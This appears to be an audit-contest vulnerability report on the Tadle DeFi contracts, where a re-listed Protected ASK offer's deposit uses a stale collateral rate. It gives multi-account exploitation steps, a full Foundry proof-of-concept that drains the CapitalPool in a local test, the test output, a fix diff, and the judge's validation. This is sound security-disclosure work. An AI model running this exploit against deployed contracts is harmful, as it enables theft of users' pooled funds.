Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

Listing `Protected` mode `ASK` offers does not take into account changed collateral rate

Summary

Tadle allows users to seamlessly trade points with collateral tokens. Sellers provide points guarded with deposited collateral, and buyers provide collateral with which they buy the set points. The protocol has two settlement types, one being Turbo, and the other Protected. In turbo mode, when ASK offers are re-listed, users do not need to provide collateral for subsequent listings, but cannot change the original collateral rate. In protected mode, when ASK offers are re-listed the user needs to provide collateral but is free to change the collateral rate. However, in the current codebase, when a protected offer is relisted with a different collateral rate, the deposit amount is calculated with the initial (old) offer collateral rate, leading to user fund loss, as the protocol will not have enough collateral to cover the trades. Worst case scenario malicious user can again use multiple accounts to drain funds.

Vulnerability Details

Whenever an ASK offer is re-listed in protected mode, the user is free to set a new collateral rate, however, currently, when the protocol calculates what should be the deposit amount of the new listing, it uses the collateral rate of the previous offer, thus allowing the user to benefit when settling:

function listOffer(
address _stock,
uint256 _amount,
uint256 _collateralRate
) external payable {
__SNIP__
/// @dev transfer collateral when offer settle type is protected
if (makerInfo.offerSettleType == OfferSettleType.Protected) {
uint256 transferAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
@> offerInfo.collateralRate, // old offer collateral rate used
_amount,
true,
Math.Rounding.Ceil
);
__SNIP__
}

From the above a malicious user can exploit the contract in the following steps:

  1. The user creates 3 separate accounts.

  2. He creates an ASK offer with the first one with 1000 points, 15_000 collateral rate, and 1e18 amount. He provides 15e17 collateral.

  3. He accepts the ASK with his second account and deposits 1035e15 -> 1e18 deposit + taxes. The first account now has sales revenue of 1e18.

  4. He then re-lists the ASK with a new collateral rate of 20_000. His deposit amount is calculated with the old ratio so he provides 15e17 collateral.

  5. He then uses his third account to accept the ASK offer from the second account and provides a deposit of 1035e15 -> 1e18 deposit + taxes.

  6. Up until now the CapitalPool has 507e16 deposited.

  7. After the market update, the user starts settling offers and closing stocks.

  8. In the end, he profits from the whole operation with 46e16, which is around ~0.5 ether and gets to keep all of his points.

The below PoC shows how the exploit can occur. For the sake of the test, I have fixed the issue with the invalid point token address being passed when assigning PointTokenBalance to users. I have described this issue in my other issue Users can drain the protocol by withdrawing collateral instead of points due to invalid point token address in DeliveryPlace::closeBidTaker(...) and DeliveryPlace::settleAskTaker(...). I also use a helper function added in TokenManager.sol:

function getUserAccountBalance(address _accountAddress, address _tokenAddress, TokenBalanceType _tokenBalanceType) external view returns (uint256) {
return userTokenBalanceMap[_accountAddress][_tokenAddress][_tokenBalanceType];
}

The following test can be run by adding the snippets in PreMarkets.t.sol and running forge test --mt testAskOfferProtectedModeInvalidCollateral -vv. I am using the following setup for the tests:

Set-Up
function setUp() public {
// deploy mocks
weth9 = new WETH9();
TadleFactory tadleFactory = new TadleFactory(user1);
mockUSDCToken = new MockERC20Token();
mockPointToken = new MockERC20Token();
SystemConfig systemConfigLogic = new SystemConfig();
CapitalPool capitalPoolLogic = new CapitalPool();
TokenManager tokenManagerLogic = new TokenManager();
PreMarkets preMarketsLogic = new PreMarkets();
DeliveryPlace deliveryPlaceLogic = new DeliveryPlace();
bytes memory deploy_data = abi.encodeWithSelector(INITIALIZE_OWNERSHIP_SELECTOR, user1);
vm.startPrank(user1);
address systemConfigProxy =
tadleFactory.deployUpgradeableProxy(1, address(systemConfigLogic), bytes(deploy_data));
address preMarketsProxy = tadleFactory.deployUpgradeableProxy(2, address(preMarketsLogic), bytes(deploy_data));
address deliveryPlaceProxy =
tadleFactory.deployUpgradeableProxy(3, address(deliveryPlaceLogic), bytes(deploy_data));
address capitalPoolProxy = tadleFactory.deployUpgradeableProxy(4, address(capitalPoolLogic), bytes(deploy_data));
address tokenManagerProxy =
tadleFactory.deployUpgradeableProxy(5, address(tokenManagerLogic), bytes(deploy_data));
vm.stopPrank();
// attach logic
systemConfig = SystemConfig(systemConfigProxy);
capitalPool = CapitalPool(capitalPoolProxy);
tokenManager = TokenManager(tokenManagerProxy);
preMarkets = PreMarkets(preMarketsProxy);
deliveryPlace = DeliveryPlace(deliveryPlaceProxy);
vm.startPrank(user1);
// initialize
systemConfig.initialize(basePlatformFeeRate, baseReferralRate);
tokenManager.initialize(address(weth9));
address[] memory tokenAddressList = new address[](2);
tokenAddressList[0] = address(mockUSDCToken);
tokenAddressList[1] = address(weth9);
tokenManager.updateTokenWhiteListed(tokenAddressList, true);
// create market place
systemConfig.createMarketPlace("Backpack", false);
systemConfig.updateMarket("Backpack", address(mockUSDCToken), 0.01 * 1e18, block.timestamp - 1, 3600);
vm.stopPrank();
deal(address(mockUSDCToken), user, 10000 * 10 ** 18);
deal(address(mockPointToken), user, 10000 * 10 ** 18);
deal(user, 100 * 10 ** 18);
deal(address(mockUSDCToken), user1, 10000 * 10 ** 18);
deal(address(mockUSDCToken), user2, 10000 * 10 ** 18);
deal(address(mockUSDCToken), user3, 10000 * 10 ** 18);
deal(address(mockPointToken), user2, 10000 * 10 ** 18);
deal(address(mockPointToken), user3, 10000 * 10 ** 18);
marketPlace = GenerateAddress.generateMarketPlaceAddress("Backpack");
vm.warp(1719826275);
vm.prank(user);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.prank(user);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
vm.startPrank(user3);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
capitalPool.approve(address(mockUSDCToken));
capitalPool.approve(address(mockPointToken));
deal(address(mockUSDCToken), address(capitalPool), 10000 * 10 ** 18);
}
PoC
function testAskOfferProtectedModeInvalidCollateral() public {
uint256 initialCapitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
console.log("User token balance before all:", mockUSDCToken.balanceOf(user));
console.log("User point token balance before all:", mockPointToken.balanceOf(user));
console.log("User point token balance before all:", mockUSDCToken.balanceOf(user));
console.log("User2 token balance before all:", mockUSDCToken.balanceOf(user2));
console.log("User2 point token balance before all:", mockPointToken.balanceOf(user2));
console.log("User3 token balance before all:", mockUSDCToken.balanceOf(user3));
console.log("User3 point token balance before all:", mockPointToken.balanceOf(user3));
console.log("--------------------");
console.log("Capital pool balance before all:", mockUSDCToken.balanceOf(address(capitalPool)));
console.log("Capital pool point token balance before all:", mockPointToken.balanceOf(address(capitalPool)));
console.log("Token manager balance before all:", mockUSDCToken.balanceOf(address(tokenManager)));
console.log("Token manager point token balance before all:", mockPointToken.balanceOf(address(tokenManager)));
console.log("--------------------");
vm.prank(user);
preMarkets.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 1000, 1e18, 15000, 300, OfferType.Ask, OfferSettleType.Protected
)
); // user creates ASK for 1000 points and provides 15e17 collateral
address offerAddrUserTurbo = GenerateAddress.generateOfferAddress(0);
vm.prank(user2);
preMarkets.createTaker(offerAddrUserTurbo, 1000); // user2 takes the ASK and provides 1e18 deposit + taxes; user has a sale revenue of 1e18 + 3e16 tax
address stockAddrUser2Turbo = GenerateAddress.generateStockAddress(1);
vm.prank(user2);
preMarkets.listOffer(stockAddrUser2Turbo, 1e18, 20000); // user2 lists the points for sale, with a new collateral rate, however, the deposit amount is calculated with the old collateral rate, so he provides 15e17 collateral
address offerAddrUser2Turbo = GenerateAddress.generateOfferAddress(1);
vm.prank(user3);
preMarkets.createTaker(offerAddrUser2Turbo, 1000); // user3 takes on the offer and provides 1e18 deposit + taxes; user2 has a sale revenue of 1e18 + 3e16 tax
uint256 capitalPoolBalanceBeforeAbort = initialCapitalPoolBalance + 507e16;
assertEq(mockUSDCToken.balanceOf(address(capitalPool)), capitalPoolBalanceBeforeAbort); // Capital Pool at the end of the malicious user actions
vm.prank(user1);
systemConfig.updateMarket("Backpack", address(mockPointToken), 1e18, block.timestamp - 1, 3600);
vm.prank(user1);
systemConfig.updateMarketPlaceStatus("Backpack", MarketPlaceStatus.AskSettling);
vm.prank(user);
deliveryPlace.settleAskMaker(offerAddrUserTurbo, 1000); // user settles the 1000 points for user 2 and gets the initial collateral back; 15e17
vm.prank(user2);
deliveryPlace.closeBidTaker(stockAddrUser2Turbo); // user 2 get his points
vm.prank(user2);
deliveryPlace.settleAskMaker(offerAddrUser2Turbo, 1000); // user2 settles the offer and provides the 1000 points for user3; he now gets double of the initial collateral 2e18
vm.prank(user3);
address stockAddr2User2Turbo = GenerateAddress.generateStockAddress(2);
deliveryPlace.closeBidTaker(stockAddr2User2Turbo); // when user 3 closes the bid, he/she gets the full original collatera of 1e18
console.log("--------------------");
console.log(
"Capital pool balance before malicious user withdraw:", mockUSDCToken.balanceOf(address(capitalPool))
);
console.log(
"Capital pool point token balance before malicious user withdraw:",
mockPointToken.balanceOf(address(capitalPool))
);
console.log(
"Token manager balance after before malicious user withdraw:",
mockUSDCToken.balanceOf(address(tokenManager))
);
console.log(
"Token manager point token balance before malicious user withdraw:",
mockPointToken.balanceOf(address(tokenManager))
);
console.log("--------------------");
console.log(
"User tax income",
tokenManager.getUserAccountBalance(user, address(mockUSDCToken), TokenBalanceType.TaxIncome)
);
console.log(
"User sales revenue",
tokenManager.getUserAccountBalance(user, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
);
console.log(
"User point token with point token address",
tokenManager.getUserAccountBalance(user, address(mockPointToken), TokenBalanceType.PointToken)
);
console.log(
"User maker refund",
tokenManager.getUserAccountBalance(user, address(mockUSDCToken), TokenBalanceType.MakerRefund)
);
console.log(
"User remianing cash",
tokenManager.getUserAccountBalance(user, address(mockUSDCToken), TokenBalanceType.RemainingCash)
);
console.log("--------------------");
console.log(
"User2 tax income",
tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.TaxIncome)
);
console.log(
"User2 sales revenue",
tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
);
console.log(
"User2 point token with point token address",
tokenManager.getUserAccountBalance(user2, address(mockPointToken), TokenBalanceType.PointToken)
);
console.log(
"User2 maker refund",
tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.MakerRefund)
);
console.log(
"User2 remianing cash",
tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.RemainingCash)
);
console.log("--------------------");
console.log(
"User3 tax income",
tokenManager.getUserAccountBalance(user3, address(mockUSDCToken), TokenBalanceType.TaxIncome)
);
console.log(
"User3 sales revenue",
tokenManager.getUserAccountBalance(user3, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
);
console.log(
"User3 point token with point token address",
tokenManager.getUserAccountBalance(user3, address(mockPointToken), TokenBalanceType.PointToken)
);
console.log(
"User3 maker refund",
tokenManager.getUserAccountBalance(user3, address(mockUSDCToken), TokenBalanceType.MakerRefund)
);
console.log(
"User3 remianing cash",
tokenManager.getUserAccountBalance(user3, address(mockUSDCToken), TokenBalanceType.RemainingCash)
);
uint256 maliciousUserProceedsFromAttack = tokenManager.getUserAccountBalance(
user, address(mockUSDCToken), TokenBalanceType.TaxIncome
) + tokenManager.getUserAccountBalance(user, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
+ tokenManager.getUserAccountBalance(user, address(mockUSDCToken), TokenBalanceType.MakerRefund)
+ tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
+ tokenManager.getUserAccountBalance(user3, address(mockUSDCToken), TokenBalanceType.RemainingCash);
assertEq(maliciousUserProceedsFromAttack, 553e16);
vm.startPrank(user);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockPointToken), TokenBalanceType.PointToken);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
vm.stopPrank();
vm.startPrank(user2);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockPointToken), TokenBalanceType.PointToken);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
vm.stopPrank();
vm.startPrank(user3);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockPointToken), TokenBalanceType.PointToken);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
vm.stopPrank();
console.log("User point token balance after user withdraw:", mockPointToken.balanceOf(user));
console.log("User token balance after user withdraw:", mockUSDCToken.balanceOf(user));
console.log("User2 token balance after after user withdraw:", mockUSDCToken.balanceOf(user2));
console.log("User2 point token balance after user withdraw:", mockPointToken.balanceOf(user2));
console.log("User3 token balance after after user withdraw:", mockUSDCToken.balanceOf(user3));
console.log("User3 point token balance after user withdraw:", mockPointToken.balanceOf(user3));
console.log("--------------------");
console.log("Capital pool balance after user withdraw:", mockUSDCToken.balanceOf(address(capitalPool)));
console.log(
"Capital pool point token balance after user withdraw:", mockPointToken.balanceOf(address(capitalPool))
);
console.log("Token manager balance after after user withdraw:", mockUSDCToken.balanceOf(address(tokenManager)));
console.log(
"Token manager point token balance after user withdraw:", mockPointToken.balanceOf(address(tokenManager))
);
console.log("--------------------");
assertEq(maliciousUserProceedsFromAttack - 507e16, 460000000000000000); // User gets away with ~0.5 ether and keeps his points
}
Ran 1 test for test/PreMarkets.t.sol:PreMarketsTest
[PASS] testAskOfferProtectedModeInvalidCollateral() (gas: 1908521)
Logs:
User token balance before all: 10000000000000000000000
User point token balance before all: 10000000000000000000000
User point token balance before all: 10000000000000000000000
User2 token balance before all: 10000000000000000000000
User2 point token balance before all: 10000000000000000000000
User3 token balance before all: 10000000000000000000000
User3 point token balance before all: 10000000000000000000000
--------------------
Capital pool balance before all: 10000000000000000000000
Capital pool point token balance before all: 0
Token manager balance before all: 0
Token manager point token balance before all: 0
--------------------
--------------------
Capital pool balance before malicious user withdraw: 10005070000000000000000
Capital pool point token balance before malicious user withdraw: 2000000000000000000000
Token manager balance after before malicious user withdraw: 0
Token manager point token balance before malicious user withdraw: 0
--------------------
User tax income 30000000000000000
User sales revenue 2500000000000000000
User point token with point token address 0
User maker refund 0
User remianing cash 0
--------------------
User2 tax income 30000000000000000
User2 sales revenue 3000000000000000000
User2 point token with point token address 1000000000000000000000
User2 maker refund 0
User2 remianing cash 0
--------------------
User3 tax income 0
User3 sales revenue 0
User3 point token with point token address 1000000000000000000000
User3 maker refund 0
User3 remianing cash 0
User point token balance after user withdraw: 9000000000000000000000
User token balance after user withdraw: 10001030000000000000000
User2 token balance after after user withdraw: 10000495000000000000000
User2 point token balance after user withdraw: 10000000000000000000000
User3 token balance after after user withdraw: 9998965000000000000000
User3 point token balance after user withdraw: 11000000000000000000000
--------------------
Capital pool balance after user withdraw: 9999510000000000000000
Capital pool point token balance after user withdraw: 0
Token manager balance after after user withdraw: 0
Token manager point token balance after user withdraw: 0
--------------------
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.35ms (3.52ms CPU time)
Ran 1 test suite in 161.48ms (15.35ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Protocol loses funds.

Tools Used

Manual review

Recommendations

Use the new collateral rate, when calculating the deposit amounts of re-listed protected ASK offers.

@@ -346,7 +346,7 @@ contract PreMarktes is PerMarketsStorage, Rescuable, Related, IPerMarkets {
if (makerInfo.offerSettleType == OfferSettleType.Protected) {
uint256 transferAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
- offerInfo.collateralRate,
+ _collateralRate,
_amount,
true,
Math.Rounding.Ceil
Updates

Lead Judging Commences

0xnevi Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-listOffer-collateralRate-manipulate

Valid high severity, because the collateral rate utilized when creating an offer is stale and retrieved from a previously set collateral rate, it allows possible manipilation of refund amounts using an inflated collateral rate to drain funds from the CapitalPool contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.